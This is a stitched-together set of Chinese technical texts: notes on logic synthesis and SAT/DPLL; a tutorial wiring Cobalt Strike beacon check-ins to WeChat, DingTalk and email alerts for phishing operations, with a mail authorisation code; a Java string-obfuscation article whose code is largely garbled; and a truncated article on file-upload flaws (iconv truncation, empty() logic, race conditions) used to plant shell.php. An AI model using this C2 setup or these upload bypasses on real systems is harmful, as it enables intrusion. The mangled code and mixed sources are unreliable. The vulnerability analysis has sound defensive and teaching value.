共用节点：共用节点存在两种类型。第一种是由于输出一定是0或者1，我们只需要将所有分支的最终输出指向0或者1，就可以减少输出的分支。第二种是对于多个输入输出对应关系，在经过一些0/1简化后，可能存在相同状况，即从某一分支开始，之后的部分逻辑关系完全一致，我们将这一部分逻辑关系用同一个树状图表示，仅仅是前置的输入指向不同。又或者是不同对应关系在最初的部分逻辑关系中存在相同情况，我们同样可以将这一部分逻辑关系用同一个树状图表示，仅仅是输出指向不同节点。
接下来的图片分别对应第一种类型和第二种类型的两种情况
除此之外，输入判断的先后会对整个树状图的大小有极其重要的影响。
如图所示，当我们先判断a_1,a_2,a_3…..，然后判断b_1,b_2,b_3….我们会发现，一直判断到b_1才会出现第一个可能的输出，然而在n次判断后，这一次判断的分支会存在2^（n+1），毫无疑问，这是一个巨大的工程量。而当我们先判断a_1b_1时，无疑会减少一个巨大的分支。
### SAT satisfiability
对于一个逻辑关系，我们往往需要的是该逻辑关系成立，比如network repair中z = ! (F xor
G)，我们特意在最后结尾添加非运算，使得真才是我们期待的结果。这既符合现实逻辑上的关系，又符合电子逻辑关系。
所以，对一个系统来说，有时候我们并不期望得到所有的结果，只需要知道这件事情在某种条件下能够成立，我们去尽力满足这个条件即可。因此，SAT被提了出来。
在一个概念被提出之后，我们需要做的就是找到一个方法实现这个概念。首先我们提出一个表达方式CNF Conjunctive Normal
Form，连接的一般方式。其形式是XXX+XXXX+XXXX，语言描述就是多个命题的和。
为什么选择和的形式呢。
因为or逻辑中有一出一，我们只需要判断或者找到其中一个命题成立，这整个逻辑就成立。除此之外，每个命题都可以转化成和的形式。AB可以转化成^(^A+^B)这是基于双重否定消除（非非为本身）以及德摩根定律（^(AB)
= ^A+^B），(A+B)C 可以转化成AC+BC 这是根据分配率得到。
我们用和的形式表示所有逻辑门（为了简化表示，所以都转化成AB的形式）
z=(x) [^x + z][x + ^z]
z=NOT(x) [x + z][^x+^z]
z=NOR(x_1,x_2…x_n) [(^x_1+^z)(^x_2+^z)…(^x_n+^z)][x_1+x_2+…+x_n+z]
z=NAND(x_1,x_2….x_n) [(x_1+z)(x_2+z)…(x_n+z)][^x_1+^x_2+…+^x_n+^z]
z=OR(x_1,x_2…x_n) [(^x_1+z)(^x_2+z)…(^x_n+z)][x_1+x_2+…+x_n+^z]
z=AND(x _1,x_ …x_n) [(x_1+^z)(x_2+^z)…(x_n+^z)][^x_1+^x_2+…+^x_n+z]
由于AB可以转化成和的形式，所以所有逻辑门可以转化为和的形式，也就是说所有逻辑都可以用和的形式表示
接下来是运算。
对于逻辑电路的运算，我们已知的运算就是递归重复，也就是假设输入实现得到输出。我们依旧沿用这一方法，但是，当输入过大时，这一方法工程量也会大，从而影响使用。所以我们需要寻找方法简化他。
第一个方法Boolean Constraint Propagation逻辑约束传递
我们目标是结果返回为真，对于每一个逻辑单元，由于是and逻辑，所以我们需要所有输入在逻辑单元中是真的表述，也就是对于a
^b来说a我们假设为1，b假设为0使得a为1，^b为1。这一算法会基于某一个逻辑单元所拥有的输入个数决定复杂程度
另一个方法是DPLL Algorithm DPLL算法
这一个算法并不基于和的形式，反而是基于积的形式（[A+B][^B+C]），对于这一形式，可能会存在B和B’的形式，也就是说期望某一个逻辑单元成立的同时，有其他的逻辑单元会期望另一个输入在逻辑关系中必定为1。在上面的表达式[A+B][^B+C]中，我们可以看到如果用B使得第一个单元为1，那么第二个单元的C必定为1。
我们期望的是，假设一个输入，使得更多的单元能够明确得到1或者明确依赖某一输入使得结果为1。 所以我们在选择假设输入对象时，选择在单元中出现更多的。
除此之外，基于and逻辑，有零出零。所以一旦可以确定某一单元整体结果为0，那么当前假设一定不满足SAT。
基于上述描述，我们可以得到伪代码
DPLL(clauses){
if (clauses is a consistent set of literals){
return true
}
else if(clauses contains an empty clause){
return false
}
else{
assign a popular input and DPLL(that clauses)
}
}
上面的所有内容都是逻辑上的，接下来我们将逻辑应用到电路中。对于上面的所有逻辑，我们可以认为是如下图的电路
也可以是
第一种叫做2-level logic
第二种叫做multi-level logic
对于电路来说，我们要做的是把他转化成逻辑。也就是用A+BC这种形式表示电路逻辑。
转化的方式就是我们接下来要讨论的内容。
首先是针对2-level logic的转化
对于逻辑我们可以用BDD表示，对于电路我们用TT真值表表示。
和前面逻辑部分相似，我们只记录结果为1的输入
首先，我们必须承认表示相同结果的逻辑的表示可以是多样的，其中包括a+a’可以当作1的因素。所以我们需要明确的是我们希望转化的逻辑关系是电路表示的最简关系。
如何找到最简关系就是我们需要讨论的内容
既然需要找到逻辑关系，我们首先要明白真值表中的行列格子表示了什么。
对于ab为00的那一列来说，就是a=0，b=0的情况下的逻辑关系。
同样的对于cd的一行来说就是c=0，d=0的关系。
对于ab是00 01，cd是00 01的那一个田字格就是a=0，c=0的关系。其他的行列田字格意义类似。
其次，我们要找到一个可行的逻辑关系然后去简化。
对于上图中的关系，bd同时为1且ac为0结果才为1，ac同时为1且bd为0结果才为1，ab为1cd为0结果为0。我们可以得到逻辑关系a’bc’d+ab’cd’+abc’d’
那么对于程序来说，如何获取呢。结合逻辑约束传递，首先，我们取一行存在1，且1越多越好（1越多该行优先级越高），对于该行输入逻辑，若为1则a，非1则a’。对于同块行列积运算，不同行列和运算。
接下来就是进行组合实现最优解。
也就是相当于a’bc’d+ab’cd’+abc’d’=bc’(a’d+ad’)+ab’cd’
当然也可以组合成ad’(b’c+bc’)+a’bc’d
这些组合就是期望1组合成完整田字格，除此之外还可以趋向组合成完整行列。
接下来是针对Multi-level logic
multi-level logic有更多的环节，如：f = ac+b ,g = f +a’c
我们可以将环节去掉，即直接用ac+b代替f写入g中，再次我们可以得到更简洁的表示ac+b+a’c = b+c
当然，这里还存在一种情况就是其中一个环节 f = ab+ac+ad
我们可以添加一个环节a，f = a(b+c+d)
那么我们如何使用程序实现这一目标呢。
首先我们要将逻辑和数理的关系明确：
基于前面分配律的存在，我们可以将and当作乘，or当作加。这样我们就可以使用数理计算实现逻辑and和or的计算，但是，数理并不能表示非运算，这也就使得我们必须使用新的符号表示非运算的结果，并且忽视新符号与原要素的非关系。
接下来就是寻找满足简化条件的环节以及元素。
首先是添加环节的方法：添加一个环节需要满足的条件是一个元素多次出现在和形式的逻辑单元中，如上面的例子所示。
要想知道如何用算法找到该元素必须找到该元素具有的特征：首先该元素一定在整个逻辑中出现了，也就是逻辑中的每一个元素都有可能多次出现，同时也只有逻辑中的元素才有可能。我们可以遍历尝试。（在这里我们将这个多次出现的元素集合记作divisor）
当将这一元素提出后，逻辑关系的表达式就可以变成F = D * Q +
R（D就是divisor，Q是提出D元素后的逻辑的表达式，R是不包含D元素的其他逻辑的表达式集合）
for (each cube d in divisor D){
let C = {cubes in F that comtain this product term d}
if (C is empty){
return (quotient = 0 ,reminder = F)
}
let C = cross out literals of cube d in each cube of C
if(d is first cube we have looked at in divisor D){
let Q =C
}
else{
Q = Q ^ C
}
R = F - (Q*D)
return (quotient = Q ,reminder = R)
}
但是，有些时候不仅仅是一个元素可以提取，可能是多个元素组合可以提取，如F = axc + axd + axe + bc + bd +
de，我们可以提取ax和b然后在提取(c+d+e)最后形成(ax+b)(c+d+e)
所以在找到一个元素之后，我们依旧要对剩余逻辑表达式进行分析
FindKernels(cube-free SOP expression F){
K = empty
for(each variable x in F){
if(there are at least 2 cubes in F that have variable x){
let S = {cubes in F that have variable x in them}
let co = cube that results from intersection of all cubes in S that will be the product of just those literals that appear in each of these cubes in S
K = k ∨ FindKernels(F / co)
}
}
K = K ∨ F
return K
}
不知道大家有没有发现这一个方法有不足之处。
我们举一个例子：F = axc + axd + axe + bc + bd + de
我们首先提取a：a(xc+xd+xe)+bc+bd+be
然后提取x：ax(c+d+e)+bc+bd+be
之后省略。
假设我们先提取x，再提取a，结果是不是依旧一样呢。答案是是的。所以我们使用的方法存在冗余。
除此之外，对于同一个表达式有不同的提取方式，这不同的提取方式可能会造成最后结果的表达式不同
如：a’bc’d+ab’cd’+abc’d’=bc’(a’d+ad’)+ab’cd’=ad’(b’c+bc’)+a’bc’d
所以我们要找到一个最优的提取方式。
如何处理呢。我们要找到那个出现次数最多的元素进行提取，并且一次提取最多个数元素。我们先对逻辑单元进行分析记录元素出现次数。
我们可以使用如下图的形式记录
2-level logic
multi-level logic
然后先寻找元素最多的逻辑单元，依据逻辑单元中存在的元素找尽可能多符合相同存在元素的逻辑单元，一直到寻找完毕，对最终尽可能多的满足的元素提取，然后重复上述操作。
## 最后
以上就是本篇的全部内容
感谢阅读 | 社区文章 |
# 1\. 背景介绍
在攻防的时候，尤其在钓鱼时，常常需要对`Cobalt
Strike`设置上线提醒，本文将从单用户提醒到多用户提醒，微信提醒到邮件提醒等进行描述。本文代码已经放到我的`GitHub`上：
`https://github.com/crow821/crowsec`
如果师傅有需要的话，可以自行修改下即可使用。（文中部分代码参考`https://github.com/lintstar/CS-PushPlus`）
以前大部分都是使用`server`酱进行上线提醒，但是现在`server`酱免费版每日只能提醒5次，其余的都需要收费，所以这里以`pushplus`示例，目前`Pushplus`的日发送频率最大额为`200`次，基本满足日常攻防使用。
图片参考：`https://mp.weixin.qq.com/s/iCo8p5C-MTVh-LEFybHiTg`
# 2\. 微信单人提醒
在`http://www.pushplus.plus/push1.html`上扫码登录，会生成一个`token`:
在`https://github.com/lintstar/CS-PushPlus`里下载两个文件：`PushPlus.cna`和`PushPlus.py`
在`PushPlus.py`中将你刚刚的`token`进行替换：
`content` 部分的信息可以自定义修改，修改完成之后，可以在本地使用`python3`进行测试：
运行之后，微信收到通知：
测试成功之后，将文件传到服务器上，并且对 `PushPlus.cna`文件进行配置：
其中红色部分为你当前文件的路径：
在配置完`Cobalt Strike`之后，可以用命令启动该脚本将其挂载到后台，注意你运行的路径
`nohup sudo ./agscript Cobalt_Strikeip 端口 用户 密码 CS-PushPlus-main/PushPlus.cna
> PushPlus.log 2>&1 &`
Agscript 用法
这里 agscript 的用法为：
./agscript [host] [port] [user] [pass] </path/to/file.cna>
● [host] # 服务器的 ip 地址。
● [port] # cs 的端口号，启动 cs 时有显示。
● [user] # 后台挂载脚本时连接到 teamserver 的用户名。
● [pass] # 启动服务端 cs 时设置的密码。
● [path] # cna 文件的路径。
运行成功之后，可以使用`ps -aux | grep agscript` 查看当前进程：
当有新主机上线时，在微信中会收到提醒：
# 3\. 设置微信多人提醒
`Cobalt Strike`的优点就是支持多人同时进行操作，因此在攻防中，可以对一台`Cobalt
Strike`配置多人提醒，当有机器上线时，可以同时通知所有人，`Pushplus`目前也支持这种。
去 `http://www.pushplus.plus/push2.html`记录自己的`token`
新增一个群组：
在这里需要记住你的群组编号，按照`Pushplus`的官方文档，当前群组与单人提醒不同的地方在于传参的时候增加了一个`"topic"`参数。这里需要配置的信息如下：`"topic":"test1221",`
当前文件名称： `Pushplus_many.py`
配置完成之后，把上面新建的群组二维码发给其他人扫一扫加进来：
扫描完成之后，`pushplus`公众号会回复自定义设置的关键信息，代表加入成功。
此时在创建的群组里也可以查看到当前加入的订阅人，在这里需要注意：`群组即使是你创建的，你也需要扫码加入才可以。`
配置完成之后，在本地可以测试下：
此时群组内用户都收到了消息：
本地测试成功之后，将文件放到云服务器上使用同样的方式进行部署即可！
# 4\. 钉钉群上线提醒
钉钉群和上述的方法基本相同，首先需要在钉钉中拉群一个群聊，并添加一个机器人：
点击自定义：
选择添加即可获得一个`Webhook`地址：`https://oapi.dingtalk.com/robot/send?access_token=1234567fdasfdasfsf8`
在`Pushplus`公众号中，找到个人中心，并在渠道配置中进行配置：
选择`Webhook`，填写相关信息：
确认之后，在脚本里面进行修改：`"channel":"webhook", "webhook":"1221"`
在这里确认你的`Webhook`地址信息，修改完成之后，在本地可以运行：
然后在钉钉群组就收到消息了：
本次测试成功之后，直接将脚本部署到云服务器上即可，方法参考第二节。
# 5\. 邮件提醒
在`Pushplus`中，还提供了邮件提醒，配置的步骤上来讲，比较简单，在`Pushplus`中选择个人资料，绑定自己的邮箱：
确认之后，`Pushplus`会发送一封邮件进行验证：
点击之后，验证成功。
然后在原来的代码上进行修改：只需修改`"channel":"mail"`即可！
然后在本地使用`python3`进行验证：
此时邮箱接收到了消息：
后续配置到服务器即可，详情可参考第2节。
# 6\. 注意事项
在使用Pushplus推送的流程中，还有一个比较重要的问题：如果短时间内有多个相同主机上线，`Pushplus`会默认不发送重复数据内容，而且对发送频率也有要求：
一般来说，短时间大量主机上线的概率不是很高，所以在上面的两个问题中，要优先解决短时间不默认发送重复数据内容，因此在以前的代码中，可以加入随机数或者时间戳，在这里以加入时间戳为例：
收到的提醒：
# 7\. 隐蔽的邮件提醒
在上述的`2-5`节中，都需要使用第三方服务进行推送，这里面有一些缺点：比如扫码关注、绑定邮箱、发送次数限制等等，可能对不想泄露隐私的师傅，不太愿意这样搞，因此我们也可以自己配置邮件服务，自己给自己设置上线提醒：
## 7.1 python发送邮件
下面是一个简单的`python`发送邮件的`demo`，在这里需要自行配置发件人的邮箱，发件人的邮箱授权码，接收人邮箱等。（这部分内容可以百度到）
# -*- encoding: utf-8 -*- # Time : 2021/12/21 21:01:21
# Author: crow
#1. 发送文本文件
import smtplib
from email.mime.text import MIMEText
from email.header import Header
# print('donw')
sender = '[email protected]' #发件人邮箱
receiver = '[email protected]' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码
#text为邮件正文内容，plain为文本格式，'utf-8'为编码格式
text = '您有新主机上线。。。'
message = MIMEText(text, 'plain', 'utf-8')
#添加Header信息，From，To，Subject分别为发送者信息，接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')
subject = 'Python STMP 邮件发送测试'
message['Subject'] = Header(subject, 'utf-8')
try:
#smtp.xxx.com为邮箱服务类型，25为STMP的端口
smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型，25为STMP
#smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')
smtpObj.login(sender, mail_pass)#登录
smtpObj.sendmail(sender, receiver, message.as_string())#发送
print ("邮件发送成功")
except smtplib.SMTPException as e:
print(e)
print ("Error: 邮件发送失败")
使用`python3`进行发送：
此时接收成功：
所以我们可以稍微将代码修改下，变成一个完整的上线提醒：
# -*- encoding: utf-8 -*- # Time : 2021/12/21 21:07:19
# Author: crow
import argparse
import requests
import random
import string
import json
import time
import smtplib
from email.mime.text import MIMEText
from email.header import Header
parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()
internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
t_time = time.ctime()
content = """
您有霉国-2新主机上线啦
主机名: {}
IP: {}
用户名: {}
Token: {}
上线时间：{}
请注意查收哦~
""".format(internalip, computername, username, ran_str, t_time)
#1. 发送文本文件
sender = '[email protected]' #发件人邮箱
receiver = '[email protected]' #收件人邮箱
mail_pass = 'cwxdebc' #qq邮箱授权码
#text为邮件正文内容，plain为文本格式，'utf-8'为编码格式
# text = '您有新主机上线。。。'
# content
message = MIMEText(content, 'plain', 'utf-8')
#添加Header信息，From，To，Subject分别为发送者信息，接收者消息和邮件主题
message['From'] = Header(sender, 'utf-8')
message['To'] = Header(receiver, 'utf-8')
subject = 'Cobalt Strike上线提醒'
message['Subject'] = Header(subject, 'utf-8')
try:
#smtp.xxx.com为邮箱服务类型，25为STMP的端口
smtpObj = smtplib.SMTP('smtp.qq.com', 25)#smtp.xxx.com为邮箱服务类型，25为STMP
#smtpObj = smtplib.SMTP_SSL('smtp.xxx.com', 'xxx邮件服务的端口号')
smtpObj.login(sender, mail_pass)#登录
smtpObj.sendmail(sender, receiver, message.as_string())#发送
print ("邮件发送成功")
except smtplib.SMTPException as e:
print(e)
print ("Error: 邮件发送失败")
此时接到的信息如下：
虽然丑了点，但：`又不是不能用`
## 7.2 邮件提醒
然后修改一个`cna`文件，测试下：
`sudo ./agscript 192.168.22.104 12345 crow 111223 CS-PushPlus-main/
Send_email.cna`
加载成功之后，这里会显示已加入：
生成`exe`文件，运行下，测试上线，上线之后，在这里看到记录：
同时也收到了邮件：
# 8\. 总结
在以上的方法中，主要讨论了利用第三方推送`Pushplus`进行微信单人、群组；钉钉群组；第三方邮件提醒方法，当然在`Pushplus`中还有其他的提醒方式，这种方式推送方式较多，但是缺点就是容易暴露个人信息。所以在本文提出了使用更加隐蔽的邮件提醒方法，优点就是不会暴露私人信息，缺点就是只能使用邮件提醒，而且需要使用两个邮箱账号。
以上方法仅供参考，相关代码后续我会完善之后，放到我的GitHub上：<https://github.com/crow821/crowsec>
# 9\. 参考资料
`https://github.com/lintstar/CS-PushPlus` | 社区文章 |
# 【技术分享】基于ASM的Java字符串混淆工具实现
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x0 前言**
****提到字符串混淆，就要解释下为什么要做字符串混淆，之前文章有介绍过基于smali的字符串混淆，但基于smali就必须先反编译，使用成本太大，而混淆往往用于开发层面，目前Android开发的主流语言还是
**Java** （kotlin），使用 **NDK**
开发的偏少，如果编译时不进行处理，那么使用一些反编译工具反编译后就相当于在阅读源码，市面上主流的proguard混淆工具并没有提供 **字符串混淆**
功能，而其它混淆工具如DashO，Zelix，DexGuard，Allatori等等均属于收费工具，做字符串混淆的初衷主要是为了提高逆向门槛，或是从另一方面减少硬编码的危害。
**
**
**0x1 介绍**
看一例简单字符串混淆，如下示例：
对于对称算法来说，泄漏密钥则意味数据包可被篡改（此处未考虑数据包做了完整性校验），站在逆向的角度来说，对于数据包的逆向分析一般会从url地址、参数类型、猜测加密类型、堆栈跟踪等多个方面去寻找加解密方法，而前三种方式是用的较多的，比如http://helloworld.com/keyword=d3Fld3FlMTExc2QuLg==,反编译后则可以通过搜索
**keyword关键字**
去查找值内容的加密，亦或是通过猜测加密类型，如上述值内容其实仅做了个base64编码，在尝试解码后就可以拿到明文，当如果解码后依然是密文，一方面就可以通过查找函数引用，而我自己使用的方式直接去靠猜（=
=），常规的加密方式无非是 **AES** ， **DES** ， **RSA**
（这三种是用的最多的），此处考虑的是加解密算法在Java层实现，较大型的app一般已经使用openssl在jni层实现了，这里不做讨论，通过搜索AES，DES，RSA关键字再稍加分析一般就可以找到真正的加解密函数。
字符串混淆就是为了增大直接搜索关键字的难度，逆向人员在遇到字符串混下后首先要解决的就是反混淆，可通过静态反混淆或是动态代码插桩查看明文，此处针对一项简单的字符串混淆介绍下反混淆。
这里每次会调用a类中的c方法对加密字符串进行解密，这里有两种还原方式，一种是借助jeb写脚本遍历c方法的引用进行还原，但不是永久性还原，另一种就是基于smali做反混淆，将app反编译smali后，上图的代码如下
可以看到在声明了一个const-string后紧接着就是解密方法，根据这个特性，写个方法遍历下所有包含这个特性的字符串进行还原然后编码回去即可，需要注意的就是smali里中文显示的是unicode形式。
**
**
**0x2 实现**
那么在处理过字符串后以字符串的形式编码是不可靠的，静态还原难度太低，于是有了以数组形式展现的方式，目前效果如下：
展示过效果图接下来就是介绍原理，本工具是基于[StringFog](https://github.com/MegatronKing/StringFog)进行的二次开发，无论是gradle插件还是jar包混淆，处理的对象都是class字节码，那这里就引用了著名的asm字节码工具，遍历每个class文件，通过重写ClassVisitor中的visitField、visitMethod、visitEnd方法，对于全局变量，需要考虑它的修饰符是否为static和final，在visitField时根据其不同的修饰区分出三种情形：
((access .) (access .) ) {
.add(ClassStringField(name, () value));
value ;
}
((access .) (access .) ) {
.add(ClassStringField(name, () value));
value ;
}
((access .) (access .) ) {
.add(ClassStringField(name, () value));
value ;
}
此处用于拿到Field的名称和值用于后面的加密，而在visitMethod时，需要对（static块），（构造方法）和普通方法进行分别判断，同时对上面获取到的变量进行判断，对非空值变量进行加密，对于方法内部的字符串在visitLdcInsn时进行判断是否为String类型和值是否为空，非空则进行加密，以下代码限于篇幅省略了一部分。
(.equals(name)) {
...
(ClassStringField mStaticFinalFields) {
(.value ) {
;
}
startEncode(.mv, .value);
...
visitLdcInsn(cst) {
(cst cst TextUtils.isEmptyAfterTrim(() cst)) {
lastStashCst () cst;
startEncode(.mv, lastStashCst);
}
}
visitFieldInsn(, String owner, name, desc) {
(mClassName.equals(owner) lastStashCst ) {
;
(ClassStringField mStaticFields) {
(.name.equals(name)) {
;
;
}
...
}
};
} (.equals(name)) {
mv MethodVisitor(Opcodes.ASM5, mv) {
(cst) {
(cst cst TextUtils.isEmptyAfterTrim(() cst)) {
startEncode(.mv, () cst);
}
}
};
}
而真正的加密重点即在startEncode方法
private void startEncode(MethodVisitor mv, String str) {
boolean special = false;
char[] charArray = str.toCharArray();
int len = charArray.length;
if (len <= 0) {
return;
}
for (char c : charArray) {
if (c > 255) {
special = true;
break;
}
}
if (special) {
encode3(mv, str);
} else {
encode2(mv, str);
}
}
这里做了个判断，当char值大于255时，进行了另一种混淆，原因在于使用的自定义混淆算法根据c版本翻译而来，c版本类型为unsigned char
在实验过程中碰到了很多的问题，即当出现中文字符或者其它特殊字符时，造成运行崩溃或是乱码，故当遇到大于255的字符时，则使用常规的异或进行处理
;
(str, key) {
[] ;
{
str.getBytes();
} (e) {
str.getBytes();
}
.;
key.length();
(; ; ) {
[] () ([] key.charAt());
}
StringBuilder(.);
() {
.append(.charAt(() ));
.append(.charAt(() ));
}
.toString();
;
}
为避免出现乱码问题，在将string转为byte时优先指定utf-8编码，而针对0-255的范围则使用的自定义加密方式，下面看一个c版本的简单自定义解密方法
[] =
{
}(= < ()++) {
= []= (>> ) | (<< )-= = ~-= ^= [] = }
()
运行后显示ysrc。
不过仅有解密方法，如何生成加密方法呢？这就需要我们自己进行逆推，其中取反，加减乘除异或都不存在难度，唯一需要注意的就是一个移位运算，翻译成java后需要对每次移位后的结果&0xff，防止越界，逆推后的java代码如下：
(ch) {
() (ch );
}
(str) {
[] str.toCharArray();
.;
(; ; ) {
([]);
(() ());
();
();
();
();
[] ();
}
}
由于java中没有unsigned char 这种类型，所以需要保证每次计算后的结果都在0-255以内。
有了加密方式就可以对字符串进行加密了，在使用asm时也碰到了不少问题，借助class字节码分析工具也成功解决了这些问题，如下为针对char[]的加密方式
(mv, str) {
.().toString().replace(, ).trim().substring(, );
[] .(str, );
.;
mv.visitIntInsn(., );
mv.visitIntInsn(., .);
(; ; ) {
mv.visitInsn(.);
mv.visitIntInsn(., );
mv.visitIntInsn(., []);
mv.visitInsn(.);
}
mv.visitLdcInsn(() );
mv.visitMethodInsn(., , , , );
}
上述代码中使用一个randomUUID生成一个随机异或因子用于对字符的异或，在调用加密方法后使用asm填充到class文件中，根据字节码生成数组的结构
**声明数组大小**
**声明数组类型**
**第0个**
**第0个字符**
**保存**
**第1个**
**第1个字符**
**保存**
这里使用for循环将所有字符填充进去后再声明调用方法即完成了字符串加密，这里有个坑就是在添加数组时可能导致堆栈不平衡，可以通过手动去修正但asm也为我们考虑到了这一点可以让程序自动帮我们进行计算，只需要在new
ClassWriter(int)时传入1即可，具体细节可以参见asm文档：
完成了以上所有的加密工作后就需要封装成一键工具来使用，这里介绍下gradle的使用方式，在build.gradle中添加如下代码
.libraryVariants.allvariant ->
variant.javaCompile.doLast$variant.javaCompile.destinationDirmain ;
args ,
.,
variant.javaCompile.destinationDir
如果是module模块，则需要修改applicationVariants为libraryVariants，其中的javaCompile.destinationDir指向目录为buildintermediatesclassesdebug,正式版指向的是release，里面包含了当前已经编译的class文件，那混淆思路即为：遍历所有class文件->忽略白名单文件->混淆class文件，生成重命名文件->删除原始文件->重命名为原始文件名。
**
**
**0x3 总结**
asm是一款非常强大的class字节码框架，但学习难度也很高（个人觉得），一部分的混淆工具也是基于asm开发的，包括强大的jadx反编译套件也是基于asm，使用好asm可以帮助我们解决很多难以手工解决的技术问题。 | 社区文章 |
作者：Anthem
来源：[信安之路（ID：xazlsec）](https://mp.weixin.qq.com/s/e1jy-DFOSROmSvvzX_Ge5g
"信安之路（ID：xazlsec）")
## 前言
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞，因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。
## 特点
* 利用简单
* 危害大
## 产生原因
缺少必要的校验
## 代码审计
### 基础
关于PHP中$_FILES数组的使用方法
$_FILES\[‘file’][‘name’] 客户端文件名称
$_FILES\[‘file’][‘type’] 文件的MIME类型
$_FILES\[‘file’][‘size’] 文件大小 单位字节
$_FILES\[‘file’][‘tmp_name’] 文件被上传后再服务器端临时文件名，可以在php.ini中指定
需要注意的是在文件上传结束后，默认的被储存在临时文件夹中，这时必须把他从临时目录中删除或移动到其他地方，否则，脚本运行完毕后，自动删除临时文件，可以使用copy或者`*move_uploaded_file`两个函数
### 程序员对某些常用函数的错误认识
这些函数有:`empty()、isset()、strpos()、rename()`等，如下面的代码:
#!php
if($operateId == 1){
$date = date("Ymd");
$dest = $CONFIG->basePath."data/files/".$date."/";
$COMMON->createDir($dest);
//if (!is_dir($dest)) mkdir($dest, 0777);
$nameExt = strtolower($COMMON->getFileExtName($_FILES['Filedata']['name']));
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
}
if(empty($msg)){
$filename = getmicrotime().'.'.$nameExt;
$file_url = urlencode($CONFIG->baseUrl.'data/files/'.$date."/".$filename);
$filename = $dest.$filename;
if(empty($_FILES['Filedata']['error'])){
move_uploaded_file($_FILES['Filedata']['tmp_name'],$filename);
}
if (file_exists($filename)){
//$msg = 1;
$msg = $file_url;
@chmod($filename, 0444);
}else{
$msg = 0;
}
}
$outMsg = "fileUrl=".$msg;
$_SESSION["eoutmsg"] = $outMsg;
exit;
}
我们来看上面的这段代码,要想文件成功的上传, if(empty($msg))
必须为True才能进入if的分支,接下来我们来看empty函数何时返回True,看看PHP Manual怎么说,如图
很明显，""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的，如果var为空，则返回True。
非常好，接下来我们往回看，有这样的几行代码
#!php
$allowedType = array('jpg', 'gif', 'bmp', 'png', 'jpeg');
if(!in_array($nameExt, $allowedType)){
$msg = 0;
}
看见没有,即使我们上传类似shell.php的文件，虽然程序的安全检查把msg)后，仍然返回True，于是我们利用这个逻辑缺陷即可成功的上传shell.php。
### 程序员对某些常用函数的错误使用
这些函数有iconv()、copy()等,如下面的这段代码(摘自SiteStar)
#!php
public function img_create(){
$file_info =& ParamHolder::get('img_name', array(), PS_FILES);
if($file_info['error'] > 0){
Notice::set('mod_marquee/msg', __('Invalid post file data!'));
Content::redirect(Html::uriquery('mod_tool', 'upload_img'));
}
if(!preg_match('/\.('.PIC_ALLOW_EXT.')$/i', $file_info["name"])){
Notice::set('mod_marquee/msg', __('File type error!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
if(file_exists(ROOT.'/upload/image/'.$file_info["name"])){
$file_info["name"] = Toolkit::randomStr(8).strrchr($file_info["name"],".");
}
if(!$this->_savelinkimg($file_info)){
Notice::set('mod_marquee/msg', __('Link image upload failed!'));
Content::redirect(Html::uriquery('mod_marquee', 'upload_img'));
}
//...
}
private function _savelinkimg($struct_file){
$struct_file['name'] = iconv("UTF-8", "gb2312", $struct_file['name']);
move_uploaded_file($struct_file['tmp_name'], ROOT.'/upload/image/'.$struct_file['name']);
return ParamParser::fire_virus(ROOT.'/upload/image/'.$struct_file['name']);
}
我们再来看看这段代码,
`img_create()`函数的逻辑非常严密，安全检查做的很到位。然而问题出在了`_savelinkimg()`函数，即在保存文件的前面程序员错误的使用了`iconv()`函数,并且文件名经过了此函数,为什么是错用了呢?因为啊
iconv函数在转码过程中，可能存在字符串截断的问题：
在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断，如：`$filename="shell.php(hex).jpg";`(hex为0x80-0x99)，经过iconv转码后会变成`$filename="shell.php
";`
所以，经过iconv
后`$struct_file['name'])`为shell.php，于是我们利用这个逻辑缺陷可以成功的上传shell.php(前提是上传的文件名为`shell.php{%80-%99}.jpg`)。
### 历史经典漏洞再次爆发
条件竞争漏洞,这类历史经典漏洞在逐渐淡出人们视线的时候,再次爆发..
接着看下面这段代码(摘自某VPN系统)
#!php
<?
if($_POST['realfile']){
copy($_POST['realfile'],$_POST['path']);
}
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile']){
unlink($_POST["path"]);
}
?>
上述代码的逻辑表面上看起来是这样的(对于攻击者来说)：
利用copy函数，将realfile生成shell.php-→删除掉shell.php
这样初看起来没办法利用，但是仔细一想, 这段代码其实是存在逻辑问题的，所以我们可以利用这个逻辑缺陷达到GetShell的目的。
具体利用方法：
copy成temp.php-->不断访问temp.php->temp.php生成shell.php->删除temp.php
## 校验方式分类&总结
* 客户端javascript校验（一般只校验后缀名）
* 服务端校验
* 文件头content-type字段校验（image/gif）
* 文件内容头校验（GIF89a）
* 后缀名黑名单校验
* 后缀名白名单校验
* 自定义正则校验
* WAF设备校验（根据不同的WAF产品而定）
## 校验方式溯源
通常一个文件以HTTP协议进行上传时，将以POST请求发送至Web服务器，Web服务器接收到请求并同意后，用户与Web服务器将建立连接，并传输数据。一般文件上传过程中将会经过如下几个检测步骤：
## 校验方式&绕过姿势
### PUT方法
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP
1.1，在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。使应用程序可直接对Web
